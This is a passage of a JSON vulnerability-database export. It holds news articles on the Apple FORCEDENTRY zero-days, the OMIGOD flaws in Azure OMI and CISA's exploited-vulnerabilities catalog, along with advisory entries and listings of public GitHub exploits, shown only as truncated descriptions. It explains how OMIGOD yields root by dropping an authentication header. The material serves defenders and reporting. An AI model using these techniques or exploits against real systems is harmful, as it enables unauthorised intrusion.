\"used in conjunction with a N-day remote code execution targeting WebKit.\"\n\nTwo other flaws include [CVE-2021-30858 and CVE-2021-30860](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>), both of which were resolved by the company earlier this month following disclosure from the University of Toronto's Citizen Lab about a previously unknown exploit called \"FORCEDENTRY\" (aka Megalodon) that could infect Apple devices without so much as a click.\n\nThe zero-click remote attack weaponizing CVE-2021-30860 is said to have been carried out by a customer of the controversial Israeli company NSO Group since at least February 2021. The scale and scope of the operation remains unclear as yet.\n\nIt relied on iMessage as an entry point to send malicious code that stealthily installed the Pegasus spyware on the devices and exfiltrate sensitive data without tipping the victims off. The exploit is also significant for its ability to get around defenses built by Apple in iOS 14 \u2014 called BlastDoor \u2014 to prevent such intrusions by filtering untrusted data sent over the texting application.\n\nThe patches are available for devices running macOS Catalina and iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation) running iOS 12.5.4. \n\nThe development also comes as security researchers have disclosed unpatched zero-day flaws in iOS, including a [lock screen bypass bug](<https://therecord.media/researcher-discloses-iphone-lock-screen-bypass-on-ios-15-launch-day/>) and a clutch of vulnerabilities that could be abused by an app to gain access to users' Apple ID email addresses and full names, check if a specific app is installed on the device given its bundle ID, and even retrieve Wi-Fi information without proper authorization.\n\nResearcher Denis Tokarev (aka illusionofchaos), who disclosed the latter three issues, [said](<https://habr.com/en/post/579714/>) they were reported to Apple between March 10 and May 4, claiming what was \"a frustrating experience participating in Apple Security Bounty program\" for its failure to fix the issues despite having them responsibly disclosed \"up to half a year\" ago.\n\nIndeed, a Washington Post article published two weeks ago [revealed](<https://www.washingtonpost.com/technology/2021/09/09/apple-bug-bounty/>) how the company sits on a \"massive backlog\" of vulnerability reports, leaving them unresolved for months, hands out lower monetary payouts to bug hunters, and, in some cases, outright bans researchers from its Developer Program for filing reports.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-24T03:39:00", "type": "thn", "title": "Urgent Apple iOS and macOS Updates Released to Fix Actively Exploited Zero-Days", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869"], "modified": "2021-09-27T04:38:55", "id": "THN:2741F0E9DD9F764C60701C9C81F231C5", "href": "https://thehackernews.com/2021/09/urgent-apple-ios-and-macos-updates.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:18", "description": "[![Azure Linux VMs](https://thehackernews.com/images/-s5Iv1JAWb9E/YUI9Ecx55CI/AAAAAAAADzc/GZ8B73768Pk8g0hW4maN8O-IOSq9arQIQCLcBGAsYHQ/s728-e1000/azure.gif)](<https://thehackernews.com/images/-s5Iv1JAWb9E/YUI9Ecx55CI/AAAAAAAADzc/GZ8B73768Pk8g0hW4maN8O-IOSq9arQIQCLcBGAsYHQ/s0/azure.gif>)\n\nMicrosoft on Tuesday addressed a quartet of security flaws as part of its [Patch Tuesday updates](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>) that could be abused by adversaries to target Azure cloud customers and elevate privileges as well as allow for remote takeover of vulnerable systems.\n\nThe list of flaws, collectively called **OMIGOD** by researchers from Wiz, affect a little-known software agent called Open Management Infrastructure that's automatically deployed in many Azure services -\n\n * [**CVE-2021-38647**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>) (CVSS score: 9.8) - Open Management Infrastructure Remote Code Execution Vulnerability\n * [**CVE-2021-38648**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648>) (CVSS score: 7.8) - Open Management Infrastructure Elevation of Privilege Vulnerability\n * [**CVE-2021-38645**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38645>) (CVSS score: 7.8) - Open Management Infrastructure Elevation of Privilege Vulnerability\n * [**CVE-2021-38649**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38649>) (CVSS score: 7.0) - Open Management Infrastructure Elevation of Privilege Vulnerability\n\nOpen Management Infrastructure ([OMI](<https://github.com/microsoft/omi>)) is an open-source [analogous equivalent](<https://cloudblogs.microsoft.com/windowsserver/2012/06/28/open-management-infrastructure/>) of Windows Management Infrastructure (WMI) but designed for Linux and UNIX systems such as CentOS, Debian, Oracle Linux, Red Hat Enterprise Linux Server, SUSE Linux, and Ubuntu that allows for monitoring, inventory management, and syncing configurations across IT environments.\n\nAzure customers on Linux machines, including users of Azure Automation, Azure Automatic Update, Azure Operations Management Suite (OMS), Azure Log Analytics, Azure Configuration Management, and Azure Diagnostics, are at risk of potential exploitation.\n\n\"When users enable any of these popular services, OMI is silently installed on their virtual machine, running at the highest privileges possible,\" Wiz security researcher Nir Ohfeld [said](<https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution>). \"This happens without customers' explicit consent or knowledge. Users simply click agree to log collection during set-up and they have unknowingly opted in.\"\n\n\"In addition to Azure cloud customers, other Microsoft customers are affected since OMI can be independently installed on any Linux machine and is frequently used on-premise,\" Ohfeld added.\n\nSince the OMI agent runs as root with the highest privileges, the aforementioned vulnerabilities could be abused by external actors or low-privileged users to remotely execute code on target machines and escalate privileges, thereby enabling the threat actors to take advantage of the elevated permissions to mount sophisticated attacks.\n\n[![Azure Linux VMs](https://thehackernews.com/images/-T0XmM7RcIvQ/YUI8jF03JfI/AAAAAAAADzU/AYwbK2Xv1cAtn6q-McPGNwxtZbKSWYYIwCLcBGAsYHQ/s728-e1000/hack-1.gif)](<https://thehackernews.com/images/-T0XmM7RcIvQ/YUI8jF03JfI/AAAAAAAADzU/AYwbK2Xv1cAtn6q-McPGNwxtZbKSWYYIwCLcBGAsYHQ/s0/hack-1.gif>)\n\nThe most critical of the four flaws is a remote code execution flaw arising out of an internet-exposed HTTPS port like 5986, 5985, or 1270, allowing attackers to obtain initial access to a target Azure environment and subsequently move laterally within the network.\n\n\"This is a textbook RCE vulnerability that you would expect to see in the 90's \u2013 it's highly unusual to have one crop up in 2021 that can expose millions of endpoints,\" Ohfeld said. \"With a single packet, an attacker can become root on a remote machine by simply removing the authentication header. It's that simple.\"\n\n\"OMI is just one example of a 'secret' software agent that's pre-installed and silently deployed in cloud environments. It's important to note that these agents exist not just in Azure but in [Amazon Web Services] and [Google Cloud Platform] as well.\"\n\n**_Update:_** Microsoft on Thursday published additional guidance for the [OMIGOD vulnerabilities](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647>), urging customers to apply the updates manually as and when they become available per the schedule outlined [here](<https://msrc-blog.microsoft.com/2021/09/16/additional-guidance-regarding-omi-vulnerabilities-within-azure-vm-management-extensions/>). The security issues impact all versions of OMI below [1.6.8-1](<https://github.com/microsoft/omi/releases/tag/v1.6.8-1>).\n\n\"Several Azure Virtual Machine (VM) management extensions use [the OMI] framework to orchestrate configuration management and log collection on Linux VMs,\" Microsoft Security Response Center said in a bulletin. \"The remote code execution vulnerability only impacts customers using a Linux management solution (on-premises SCOM or Azure Automation State Configuration or Azure Desired State Configuration extension) that enables remote OMI management.\"\n\nThe development comes as Bad Packets [reported](<https://twitter.com/bad_packets/status/1438753415106994179>) [mass scanning](<https://www.greynoise.io/viz/query/?gnql=cve%3ACVE-2021-38647>) of Azure Linux-based servers vulnerable to the remote code execution flaw in an attempt to hijack vulnerable systems and mount further attacks, which, in turn, have been fueled by the [public release](<https://twitter.com/GossiTheDog/status/1438604418212114440>) of a proof-of-concept (PoC) exploit.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T18:36:00", "type": "thn", "title": "Critical Flaws Discovered in Azure App That Microsoft Secretly Installs on Linux VMs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649"], "modified": "2021-09-17T19:17:45", "id": "THN:69DC54E89A77C1E4E0DFE9C6EA3BAB48", "href": "https://thehackernews.com/2021/09/critical-flaws-discovered-in-azure-app.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-30T04:02:42", "description": "[![Actively Exploited Vulnerabilities](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgIeK3eJtR_et6MNbj0n-dcpg6m3XLALiJRPrhIA4yGOSfgFp4GFAJFR2Q3o31-tQcQpuVnc_WCTyR9yoih4dgeHa6orUrdUWCpDX1WWtymO1klV2EcDBa4OBds15BKHAGsEW3hPAVQ_HB772TkQVTfNrqyRvm5rY4qOkI7i3UarIAnOVC8LJfIZ0F3/s728-e1000/CISA.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgIeK3eJtR_et6MNbj0n-dcpg6m3XLALiJRPrhIA4yGOSfgFp4GFAJFR2Q3o31-tQcQpuVnc_WCTyR9yoih4dgeHa6orUrdUWCpDX1WWtymO1klV2EcDBa4OBds15BKHAGsEW3hPAVQ_HB772TkQVTfNrqyRvm5rY4qOkI7i3UarIAnOVC8LJfIZ0F3/s728-e100/CISA.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added 10 new actively exploited vulnerabilities to its [Known Exploited Vulnerabilities (KEV) Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), including a high-severity security flaw affecting industrial automation software from Delta Electronics.\n\nThe issue, tracked as [CVE-2021-38406](<https://nvd.nist.gov/vuln/detail/CVE-2021-38406>) (CVSS score: 7.8), impacts DOPSoft 2 versions 2.00.07 and prior. A successful exploitation of the flaw may lead to arbitrary code execution.\n\n\"Delta Electronics DOPSoft 2 lacks proper validation of user-supplied data when parsing specific project files (improper input validation) resulting in an out-of-bounds write that allows for code execution,\" CISA said in an alert.\n\nIt's worth noting that CVE-2021-38406 was originally disclosed as part of an industrial control systems (ICS) advisory [published](<https://www.cisa.gov/uscert/ics/advisories/icsa-21-252-02>) in September 2021.\n\nHowever, there are no patches that address the vulnerability, with CISA noting that the \"impacted product is end-of-life and should be disconnected if still in use.\" Federal Civilian Executive Branch (FCEB) agencies are mandated to follow the guideline by September 15, 2022.\n\nNot much information is available about the nature of the attacks that exploit the security bug, but a recent report from Palo Alto Networks Unit 42 [pointed out](<https://unit42.paloaltonetworks.com/recent-exploits-network-security-trends/>) instances of in-the-wild attacks leveraging the flaw between February and April 2022.\n\nThe development adds weight to the notion that adversaries are getting faster at exploiting newly published vulnerabilities when they are first disclosed, leading to indiscriminate and opportunistic scanning attempts that aim to take advantage of delayed patching.\n\nThese attacks often follow a specific sequence for exploitation that involves web shells, crypto miners, botnets, and remote access trojans (RATs), followed by initial access brokers (IABs) that then pave the way for ransomware.\n\nAmong other actively exploited flaws added to the list are as follows -\n\n * [**CVE-2022-26352**](<https://nvd.nist.gov/vuln/detail/CVE-2022-26352>) \\- dotCMS Unrestricted Upload of File Vulnerability\n * [**CVE-2022-24706**](<https://nvd.nist.gov/vuln/detail/CVE-2022-24706>) \\- Apache CouchDB Insecure Default Initialization of Resource Vulnerability\n * [**CVE-2022-24112**](<https://nvd.nist.gov/vuln/detail/cve-2022-24112>) \\- Apache APISIX Authentication Bypass Vulnerability\n * [**CVE-2022-22963**](<https://nvd.nist.gov/vuln/detail/CVE-2022-22963>) \\- VMware Tanzu Spring Cloud Function Remote Code Execution Vulnerability\n * [**CVE-2022-2294**](<https://nvd.nist.gov/vuln/detail/CVE-2022-2294>) \\- WebRTC Heap Buffer Overflow Vulnerability\n * [**CVE-2021-39226**](<https://nvd.nist.gov/vuln/detail/CVE-2021-39226>) \\- Grafana Authentication Bypass Vulnerability\n * [**CVE-2020-36193**](<https://nvd.nist.gov/vuln/detail/CVE-2020-36193>) \\- PEAR Archive_Tar Improper Link Resolution Vulnerability\n * [**CVE-2020-28949**](<https://nvd.nist.gov/vuln/detail/CVE-2020-28949>) \\- PEAR Archive_Tar Deserialization of Untrusted Data Vulnerability\n\n### iOS and macOS flaw added to the list\n\nAnother high-severity flaw added to the KEV Catalog is [**CVE-2021-31010**](<https://nvd.nist.gov/vuln/detail/CVE-2021-31010>) (CVSS score: 7.5), a deserialization issue in Apple's Core Telephony component that could be leveraged to circumvent sandbox restrictions.\n\nThe tech giant addressed the shortcoming in iOS 12.5.5, iOS 14.8, iPadOS 14.8, macOS Big Sur 11.6 (and Security Update 2021-005 Catalina), and watchOS 7.6.2 released in September 2021.\n\nWhile there were no indications that the flaw was being exploited at the time, the tech giant appears to have silently revised its advisories on May 25, 2022 to add the vulnerability and confirm that it had indeed been abused in attacks.\n\n\"Apple was aware of a report that this issue may have been actively exploited at the time of release,\" the iPhone maker noted, crediting Citizen Lab and Google Project Zero for the discovery.\n\nThe September update is also notable for [remediating](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) CVE-2021-30858 and CVE-2021-30860, both of which were [employed by NSO Group](<https://thehackernews.com/2021/08/bahraini-activists-targeted-using-new.html>), the makers of the Pegasus spyware, to get around the operating systems' security features.\n\nThis raises the possibility that CVE-2021-31010 may have been stringed together with the aforementioned two flaws in an attack chain to escape the sandbox and achieve arbitrary code execution.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-29T04:23:00", "type": "thn", "title": "CISA Adds 10 New Known Actively Exploited Vulnerabilities to its Catalog", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28949", "CVE-2020-36193", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-31010", "CVE-2021-38406", "CVE-2021-39226", "CVE-2022-2294", "CVE-2022-22963", "CVE-2022-24112", "CVE-2022-24706", "CVE-2022-26352"], "modified": "2022-08-30T03:22:27", "id": "THN:5D50D5AA81EE14FA1044614364EAEBC6", "href": "https://thehackernews.com/2022/08/cisa-adds-10-new-known-actively.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:37:55", "description": "An elevation of privilege vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-14T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Win32k Elevation of Privilege (CVE-2021-38639)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38639"], "modified": "2021-09-14T00:00:00", "id": "CPAI-2021-0592", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:33:03", "description": "An elevation of privilege vulnerability exists in Microsoft Windows. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-14T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Win32k Elevation of Privilege (CVE-2021-36975)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36975"], "modified": "2021-09-14T00:00:00", "id": "CPAI-2021-0550", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:33:00", "description": "A remote code execution vulnerability exists in Microsoft Open Management Infrastructure. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-21T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Open Management Infrastructure Remote Code Execution (CVE-2021-38647)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-21T00:00:00", "id": "CPAI-2021-0684", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-16T19:37:55", "description": "A remote code execution vulnerability exists in Microsoft Internet Explorer MSHTML. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-09T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Internet Explorer MSHTML Remote Code Execution (CVE-2021-40444)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-14T00:00:00", "id": "CPAI-2021-0554", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2021-12-10T15:33:57", "description": "Windows win32k ascension UAC ...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-17T02:09:37", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38639"], "modified": "2021-09-17T02:38:42", "id": "745C9387-7E9D-5BA8-BC2D-5B3EF7DCE82A", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:11:02", "description": "# CVE-2021-38647: Omigod\nAnother exploit for Omigod written quic...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-26T18:06:00", "type": "githubexploit", "title": "Exploit for Improper Initialization in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-10-29T10:57:34", "id": "A99AB73C-8E46-5B9C-A402-F78F96EE2327", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:11:26", "description": "# OMIGOD PoC\n\n## Usage\n\n```\n$ go run CVE-2021-38647.go -h\n\nUSAGE...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-22T01:05:22", "type": "githubexploit", "title": "Exploit for Improper Initialization in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-22T22:40:10", "id": "CE2FB7D7-ABCF-58F8-AACC-D0E6FEE8865A", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-17T06:18:53", "description": "# OMIGOD\nProof on Concept Exploit for CVE-2021-38647 (OMIGOD)\n\nF...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-16T02:11:36", "type": "githubexploit", "title": "Exploit for Improper Initialization in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2022-08-17T05:00:10", "id": "BF40B403-9D06-5460-8B40-3FC2E56A4A07", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:36:40", "description": "# 